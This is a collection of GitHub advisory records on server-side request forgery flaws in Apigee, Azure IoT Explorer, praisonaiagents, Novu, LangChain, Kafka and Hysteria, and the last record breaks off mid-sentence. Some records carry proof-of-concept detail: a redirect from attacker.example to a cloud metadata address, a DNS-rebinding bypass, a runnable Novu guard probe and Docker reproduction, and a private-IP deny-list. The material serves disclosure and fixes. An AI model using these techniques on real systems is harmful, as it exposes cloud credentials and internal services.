CWE-918

{
  "affected": [],
  "aliases": [
    "CVE-2026-2264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-26T17:16:30Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the Google Cloud Apigee\u00a0SetIntegrationRequest\u00a0policy allowed remote attackers to perform Server-Side Request Forgery (SSRF) and exfiltrate service account access tokens.\n\nFor successful exploitation, an administrator must initially establish an insecure configuration of the API proxy.",
  "id": "GHSA-vfx9-pmh4-cqpq",
  "modified": "2026-05-26T18:31:45Z",
  "published": "2026-05-26T18:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2264"
    },
    {
      "type": "WEB",
      "url": "https://docs.cloud.google.com/apigee/docs/security-bulletins/security-bulletins#gcp-2026-034"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-26121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T18:18:41Z",
    "severity": "HIGH"
  },
  "details": "Server-side request forgery (ssrf) in Azure IoT Explorer allows an unauthorized attacker to perform spoofing over a network.",
  "id": "GHSA-vg48-j87h-hc85",
  "modified": "2026-03-10T18:31:21Z",
  "published": "2026-03-10T18:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26121"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:43:19Z",
    "nvd_published_at": "2026-08-05T20:17:10Z",
    "severity": "HIGH"
  },
  "details": "The web_crawl tool performs its SSRF check only on the initial URL: it resolves the hostname once\nwith socket.gethostbyname and rejects private/loopback/link-local results. It then passes the URL to\na fetcher that uses httpx.Client(follow_redirects=True) - or urllib.request.urlopen when httpx is\nabsent, which also follows redirects - and re-resolves the hostname at connect time, with no further\nvalidation. This validate-here/fetch-there gap is bypassable two independent ways: HTTP redirects and\nDNS rebinding.\n\nAffected code: src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py\n- Single-shot validation (lines 229-238):\n    if os.environ.get(\"ALLOW_LOCAL_CRAWL\") != \"true\":\n        ip_str = socket.gethostbyname(hostname)            # resolved ONCE, at validation time\n        ip = ipaddress.ip_address(ip_str)\n        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:\n            continue                                       # rejected\n    url_list.append(u)\n- Vulnerable fetch (_crawl_with_httpx, lines 142 / 149): follows redirects, re-resolves DNS, no re-check:\n    with httpx.Client(follow_redirects=True, timeout=30.0) as client: response = client.get(url)\n    # fallback: urllib.request.urlopen(url, timeout=30)  (also follows redirects by default)\n- web_crawl / crawl_web are registered tools (tools/__init__.py:156-157); httpx is the default fallback\n  provider (dispatch at web_crawl_tools.py:269).\n\nThe two bypasses:\n1) Redirect: validation approves an attacker domain resolving to a public IP; attacker server replies\n   302 Location: http://169.254.169.254/... (or any internal host); the fetcher follows it unchecked.\n2) DNS rebinding (TOCTOU): validator\u0027s gethostbyname and fetcher\u0027s connect-time resolution are\n   independent; a low-TTL attacker domain answers public to the validator and private/loopback to fetch.\n\nImpact:\nAn agent with web_crawl - driven by direct input or indirect prompt injection - can be made to read\ninternal-only HTTP services and cloud instance-metadata endpoints (e.g. IAM credentials), with the\nresponse body returned in the tool output. Scope is Changed because the request pivots into the\ninternal network.\n\nProof of concept:\nA PoC drives the real web_crawl() (httpx absent -\u003e genuine urllib fallback). It runs a loopback\n\"internal metadata\" service and a loopback attacker redirector, substituting DNS only to stand in\nfor \"attacker owns a public domain\" / offline routing - the redirect-following and connect-time\nre-resolution are the repo\u0027s own behavior. Observed:\n  CONTROL: web_crawl(\"http://127.0.0.1:.../meta-data/\")  -\u003e blocked (validator works)\n  PoC 1A (redirect):  attacker.example approved (public); 302 -\u003e loopback metadata\n                      -\u003e result.content leaks {\"AccessKeyId\":\"ASIA_FAKE_STOLEN_CREDENTIAL_...\"}\n  PoC 1B (rebinding): gethostbyname(rebind.example)-\u003epublic (allowed); connect-\u003e127.0.0.1\n                      -\u003e same secret leaked\nThe control proves the validator blocks a direct loopback request, so the bypasses are genuine.\n\nRemediation:\nResolve the hostname once, validate that IP, and connect to that exact validated IP (pin it) rather\nthan re-resolving. Disable redirect following (follow_redirects=False; for urllib use a redirect\nhandler that re-validates), or re-validate every redirect hop\u0027s resolved IP. Apply the deny check to\nboth the validator and the actual socket target. file_tools.py:364 already uses follow_redirects=False\nand is the correct pattern to propagate.\n\nDistinct from prior advisories:\nThe accepted SSRF advisories concern host-string parsing in different code \u2014 alternate loopback\nencodings in spider_tools (GHSA-5c6w-wwfq-7qqm) and the CLI @url feature (GHSA-5cxw-77wg-jrf3). This\nis in the web_crawl tool, which neither advisory names, and the mechanisms (redirect-following and DNS\nrebinding) differ categorically from host-string encoding; the spider_tools _host_is_blocked hardening\ndoes not apply to this tool.",
  "id": "GHSA-vg6p-v9vm-6fgj",
  "modified": "2026-08-25T14:43:19Z",
  "published": "2026-08-25T14:43:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vg6p-v9vm-6fgj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@novu/application-generic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T14:59:22Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Hi Novu team,\n\nReporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below \u2014 copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`.\n\n## Summary\n\nNovu\u0027s shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`.\n\n## Affected code\n\nGuard:\n\n- `libs/application-generic/src/utils/ssrf-url-validation.ts`\n  - `isPrivateIp(...)` regex list at lines 9-28\n  - DNS resolution and address validation at lines 55-72\n\nProduct call-sites:\n\n- Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` \u2014 calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request.\n- Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` \u2014 calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277.\n\nHTTP client:\n\n- `libs/application-generic/src/services/http-client/http-client.service.ts` \u2014 uses `got(gotOptions)` at lines 120 and 142 after the preflight validation.\n\n## Root cause\n\nThe SSRF guard uses a hand-written regex deny-list:\n\n```ts\n/^0\\.0\\.0\\.0$/i,\n/^127\\./,\n/^10\\./,\n/^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n/^192\\.168\\./,\n/^169\\.254\\./,\n/^::ffff:127\\./i,\n/^::ffff:10\\./i,\n/^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n/^::ffff:192\\.168\\./i,\n/^::ffff:169\\.254\\./i,\n/^::1$/,\n/^fc00:/i,\n/^fe80:/i,\n```\n\nThis list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**.\n\n## Reproduction \u2014 Part 1: unit-level probe (no Docker required)\n\nSave the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories.\n\n### `novu_ssrf_guard_probe.js`\n\n```javascript\nconst dns = require(\u0027dns/promises\u0027);\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i,\n    /^127\\./,\n    /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./,\n    /^192\\.168\\./,\n    /^169\\.254\\./,\n    /^::ffff:127\\./i,\n    /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i,\n    /^::ffff:169\\.254\\./i,\n    /^::1$/,\n    /^fc00:/i,\n    /^fe80:/i,\n  ];\n  return privateRanges.some((range) =\u003e range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  let parsed;\n  try {\n    parsed = new URL(url);\n  } catch {\n    return \u0027Invalid URL format.\u0027;\n  }\n  if (parsed.protocol !== \u0027http:\u0027 \u0026\u0026 parsed.protocol !== \u0027https:\u0027) {\n    return `URL scheme \"${parsed.protocol}\" is not allowed.`;\n  }\n  const hostname = parsed.hostname.toLowerCase();\n  const blockedHostnames = [\u0027localhost\u0027, \u0027metadata.google.internal\u0027];\n  if (blockedHostnames.includes(hostname)) {\n    return `Requests to \"${hostname}\" are not allowed.`;\n  }\n  let addresses;\n  try {\n    addresses = await dns.lookup(hostname, { all: true });\n  } catch {\n    return `Unable to resolve hostname \"${hostname}\".`;\n  }\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) {\n      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;\n    }\n  }\n  return null;\n}\n\nasync function main() {\n  for (const url of [\n    \u0027http://127.0.0.1/\u0027,\n    \u0027http://0.0.0.0/\u0027,\n    \u0027http://0.0.0.1/\u0027,\n    \u0027http://169.254.169.254/\u0027,\n    \u0027http://100.64.0.1/\u0027,\n    \u0027http://100.100.100.200/\u0027,\n    \u0027http://224.0.0.1/\u0027,\n    \u0027http://[fd00::1]/\u0027,\n    \u0027http://[64:ff9b::7f00:1]/\u0027,\n    \u0027http://[::ffff:100.64.0.1]/\u0027,\n    \u0027http://8.8.8.8/\u0027,\n  ]) {\n    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? \u0027ALLOW\u0027 }));\n  }\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output (relevant lines)\n\n```json\n{\"url\":\"http://127.0.0.1/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1).\"}\n{\"url\":\"http://169.254.169.254/\",\"verdict\":\"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254).\"}\n{\"url\":\"http://100.64.0.1/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://100.100.100.200/\",\"verdict\":\"ALLOW\"}\n{\"url\":\"http://8.8.8.8/\",\"verdict\":\"ALLOW\"}\n```\n\nThe 2nd and 3rd `ALLOW` rows are the bypass \u2014 both are non-public destinations the guard should refuse.\n\n## Reproduction \u2014 Part 2: end-to-end Docker CGNAT proof\n\nSave the three files below into a directory, then:\n\n```bash\ndocker compose up --abort-on-container-exit --exit-code-from novu-client\n```\n\nThis mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname \u2192 validate with `validateUrlSsrf` \u2192 send HTTP request. The \"target\" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.\n\n### `docker-compose.yml`\n\n```yaml\nservices:\n  cgnat-target:\n    image: python:3.12-alpine\n    command: python -u /srv/target.py\n    volumes:\n      - ./target.py:/srv/target.py:ro\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.20\n\n  novu-client:\n    image: node:22-alpine\n    command: node /srv/client.js\n    volumes:\n      - ./client.js:/srv/client.js:ro\n    depends_on:\n      - cgnat-target\n    networks:\n      novu-cgnat:\n        ipv4_address: 100.64.0.10\n\nnetworks:\n  novu-cgnat:\n    ipam:\n      config:\n        - subnet: 100.64.0.0/24\n```\n\n### `target.py`\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        print(f\"[target] {self.client_address[0]} POST {self.path}\", flush=True)\n        self.send_response(200)\n        self.send_header(\"content-type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(b\u0027{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\\n\u0027)\n    def log_message(self, fmt, *args): return\n\nHTTPServer((\"100.64.0.20\", 8080), Handler).serve_forever()\n```\n\n### `client.js`\n\n```javascript\nconst dns = require(\u0027dns/promises\u0027);\n\nfunction isPrivateIp(ip) {\n  const privateRanges = [\n    /^0\\.0\\.0\\.0$/i, /^127\\./, /^10\\./,\n    /^172\\.(1[6-9]|2[0-9]|3[01])\\./, /^192\\.168\\./, /^169\\.254\\./,\n    /^::ffff:127\\./i, /^::ffff:10\\./i,\n    /^::ffff:172\\.(1[6-9]|2[0-9]|3[01])\\./i,\n    /^::ffff:192\\.168\\./i, /^::ffff:169\\.254\\./i,\n    /^::1$/, /^fc00:/i, /^fe80:/i,\n  ];\n  return privateRanges.some((range) =\u003e range.test(ip));\n}\n\nasync function validateUrlSsrf(url) {\n  const parsed = new URL(url);\n  if (![\u0027http:\u0027, \u0027https:\u0027].includes(parsed.protocol)) return \u0027bad scheme\u0027;\n  if ([\u0027localhost\u0027, \u0027metadata.google.internal\u0027].includes(parsed.hostname.toLowerCase())) {\n    return \u0027blocked hostname\u0027;\n  }\n  const addresses = await dns.lookup(parsed.hostname, { all: true });\n  for (const { address } of addresses) {\n    if (isPrivateIp(address)) return `blocked ${address}`;\n  }\n  return null;\n}\n\nasync function waitForTarget(url) {\n  for (let attempt = 0; attempt \u003c 20; attempt += 1) {\n    try {\n      const r = await fetch(url, { method: \u0027POST\u0027 });\n      await r.text();\n      return;\n    } catch (_e) {\n      await new Promise((resolve) =\u003e setTimeout(resolve, 250));\n    }\n  }\n}\n\nasync function main() {\n  const url = \u0027http://cgnat-target:8080/workflow-http-step\u0027;\n  const addresses = await dns.lookup(\u0027cgnat-target\u0027, { all: true });\n  const validation = await validateUrlSsrf(url);\n  console.log(JSON.stringify({ url, addresses, validation: validation ?? \u0027ALLOW\u0027 }));\n\n  if (validation) { process.exitCode = 2; return; }\n\n  await waitForTarget(url);\n  const response = await fetch(url, {\n    method: \u0027POST\u0027,\n    headers: { \u0027content-type\u0027: \u0027application/json\u0027 },\n    body: JSON.stringify({ source: \u0027novu-http-request-step\u0027 }),\n  });\n  const body = await response.text();\n  console.log(JSON.stringify({ status: response.status, body }));\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exitCode = 1; });\n```\n\n### Expected output\n\n```\nnovu-client-1   | {\"url\":\"http://cgnat-target:8080/workflow-http-step\",\"addresses\":[{\"address\":\"100.64.0.20\",\"family\":4}],\"validation\":\"ALLOW\"}\ncgnat-target-1  | [target] 100.64.0.10 POST /workflow-http-step\nnovu-client-1   | {\"status\":200,\"body\":\"{\\\"marker\\\":\\\"NOVU_CGNAT_SSRF_OK\\\"}\\n\"}\n```\n\nThe chain is:\n\n1. Resolve hostname `cgnat-target` \u2192 `100.64.0.20` (a CGNAT address).\n2. Run Novu\u0027s `validateUrlSsrf` against the URL \u2014 returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`.\n3. Send the actual server-side HTTP POST \u2192 reaches the CGNAT-bound target \u2192 response with marker `NOVU_CGNAT_SSRF_OK` is received.\n\n## Impact\n\nAny Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for:\n\n- **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata.\n- **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services.\n- **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure \u2014 cross-tenant SSRF primitive into provider-internal services.\n\n## Suggested remediation\n\n- Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6.\n- Treat only globally reachable public IPs as allowed by default (`addr.range() === \u0027unicast\u0027` after IPv4-mapped unwrap, or equivalent).\n- Explicitly deny all special-use ranges, including at least:\n  - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16`\n  - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`)\n  - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above\n- Add regression tests for:\n  - `100.64.0.1`, `100.100.100.200`\n  - hostnames resolving to those addresses\n  - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`)\n- Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).\n\n## Notes\n\nThis report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).",
  "id": "GHSA-vg6v-j97m-h5xq",
  "modified": "2026-07-28T14:59:22Z",
  "published": "2026-07-28T14:59:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/novuhq/novu/security/advisories/GHSA-vg6v-j97m-h5xq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/novuhq/novu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations \u2014 affects Workflow HTTP request step + Webhook filter condition"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-72848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T22:18:05Z",
    "severity": "HIGH"
  },
  "details": "SitemapLoader.parse_sitemap in langchain_community/document_loaders/sitemap.py applies the documented restrict_to_same_domain control only to leaf url entries. The loop over url elements filters cross-domain locations, but the loop over nested sitemap elements passes the child loc straight to self.scrape_all([loc.text], \"xml\"), which reaches WebBaseLoader.scrape_all and an aiohttp GET, with no domain comparison and no check for private, loopback or link-local destinations. An attacker who controls or influences an ingested sitemap can therefore point a nested sitemap entry at an internal address and make the server fetch it even when the deploying application set restrict_to_same_domain to True specifically to confine outbound requests. The fetched content is parsed and surfaces in the returned Documents, so internal responses are disclosed to the caller rather than merely requested.",
  "id": "GHSA-vg8m-4p2q-gcjh",
  "modified": "2026-08-21T00:31:23Z",
  "published": "2026-08-21T00:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72848"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain/issues/38814"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain-community"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langchain-ai/langchain-community/blob/main/libs/community/langchain_community/document_loaders/sitemap.py"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/langchain-community-sitemaploader-does-not-apply-restrict-to-same-domain-to-nested-sitemap-index-entries-allowing-server-side-request-forgery"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-gql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:09:14Z",
    "nvd_published_at": "2026-06-15T03:16:24Z",
    "severity": "LOW"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-ppx3-28rw-8fpf. This link is maintained to preserve external references.\n\n## Original Description\nA vulnerability was detected in universal-tool-calling-protocol python-utcp 1.1.0. This affects an unknown function of the component utcp-gql/utcp-websocket. Performing a manipulation results in server-side request forgery. The attack can be initiated remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-vg9f-q4xh-62r4",
  "modified": "2026-08-25T18:09:14Z",
  "published": "2026-06-15T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gola-leya/cve_submit/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/issues/86"
    },
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-12210"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/832542"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370852"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370852/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: utcp-gql SSRF: CVE-2026-44661 fix not applied to the GraphQL and WebSocket plugins",
  "withdrawn": "2026-08-25T18:09:14Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kafka:kafka-clients"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27817"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-10T20:41:34Z",
    "nvd_published_at": "2025-06-10T08:15:22Z",
    "severity": "MODERATE"
  },
  "details": "A possible arbitrary file read and SSRF vulnerability has been identified in Apache Kafka Client. Apache Kafka Clients accept configuration data for setting the SASL/OAUTHBEARER connection with the brokers, including \"sasl.oauthbearer.token.endpoint.url\" and \"sasl.oauthbearer.jwks.endpoint.url\". Apache Kafka allows clients to read an arbitrary file and return the content in the error log, or sending requests to an unintended location. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use the \"sasl.oauthbearer.token.endpoint.url\" and \"sasl.oauthbearer.jwks.endpoint.url\" configuratin to read arbitrary contents of the disk and environment variables or make requests to an unintended location. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment/URL access, which may be undesirable in certain environments, including SaaS products. \n\nSince Apache Kafka 3.9.1/4.0.0, we have added a system property (\"-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls\") to set the allowed urls in SASL JAAS configuration. In 3.9.1, it accepts all urls by default for backward compatibility. However in 4.0.0 and newer, the default value is empty list and users have to set the allowed urls explicitly.",
  "id": "GHSA-vgq5-3255-v292",
  "modified": "2025-06-10T20:41:35Z",
  "published": "2025-06-10T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27817"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/kafka"
    },
    {
      "type": "WEB",
      "url": "https://kafka.apache.org/cve-list"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/06/09/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Kafka Client Arbitrary File Read and Server Side Request Forgery Vulnerability"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.9.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/apernet/hysteria/core/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T19:48:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nHysteria\u0027s UDP relay treats the destination address as packet-scoped, but ACL and outbound policy are applied only once when a new UDP session is created. After an authenticated client opens a UDP session using an allowed first destination, later packets in the same `Session ID` can be sent to different destinations without re-running ACL evaluation.\n\nThis allows an authenticated user to bypass server-side UDP ACL rules and reach localhost or RFC1918/private-network UDP services from the server\u0027s network perspective, even when those destinations are explicitly rejected by ACL.\n\nVerified on current HEAD at commit `64c396385631579598cc29d5561bff98c439772f`.\n\n## Why this is a security issue\n\nThis report is not based on the assumption that one UDP session must be bound to one destination. The protocol and official client both support per-packet destinations:\n\n- `PROTOCOL.md:93-107` defines each `UDPMessage` as carrying its own `Addr` field.\n- `core/client/udp.go:52-62` exposes `Send(data, addr)`, allowing the same UDP session to send to arbitrary addresses.\n\nThe problem is that the security-relevant destination is packet-scoped, while ACL and outbound authorization are cached at session scope.\n\nThis is also not a `RequestHook`-bypass claim. I understand `RequestHook` is first-packet-oriented. The broader issue is that operator-configured ACL policy intended to block UDP destinations is not enforced on later packets within the same session.\n\nBecause the ACL documentation is presented as the mechanism for handling or blocking client requests, and includes examples of denying `udp/443` and private network CIDRs, operators can reasonably rely on ACL as a UDP egress security boundary. This boundary can currently be bypassed by reusing a previously authorized UDP session.\n\n## Root cause\n\nThe 